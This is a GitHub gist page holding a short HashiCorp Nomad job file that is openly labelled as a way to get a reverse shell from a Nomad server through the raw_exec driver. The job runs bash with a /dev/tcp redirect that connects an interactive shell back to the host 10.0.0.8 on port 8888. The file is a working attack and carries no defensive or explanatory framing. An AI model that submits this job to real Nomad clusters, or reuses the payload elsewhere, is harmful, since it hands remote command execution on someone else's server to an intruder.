Skip to content

Instantly share code, notes, and snippets.

@carnal0wnage
Created December 18, 2018 16:35
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save carnal0wnage/4a436a8dc0dcb142a8c836e48916dd71 to your computer and use it in GitHub Desktop.
Save carnal0wnage/4a436a8dc0dcb142a8c836e48916dd71 to your computer and use it in GitHub Desktop.
hcl file to get a reverse shell from the nomad server via raw_exec
job "sploit_service_revshell" {
datacenters = ["dc1"]
group "sploit" {
task "shello" {
driver = "raw_exec"
config {
command = "/bin/bash"
args = ["-c", "bash -i >& /dev/tcp/10.0.0.8/8888 0>&1"]
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment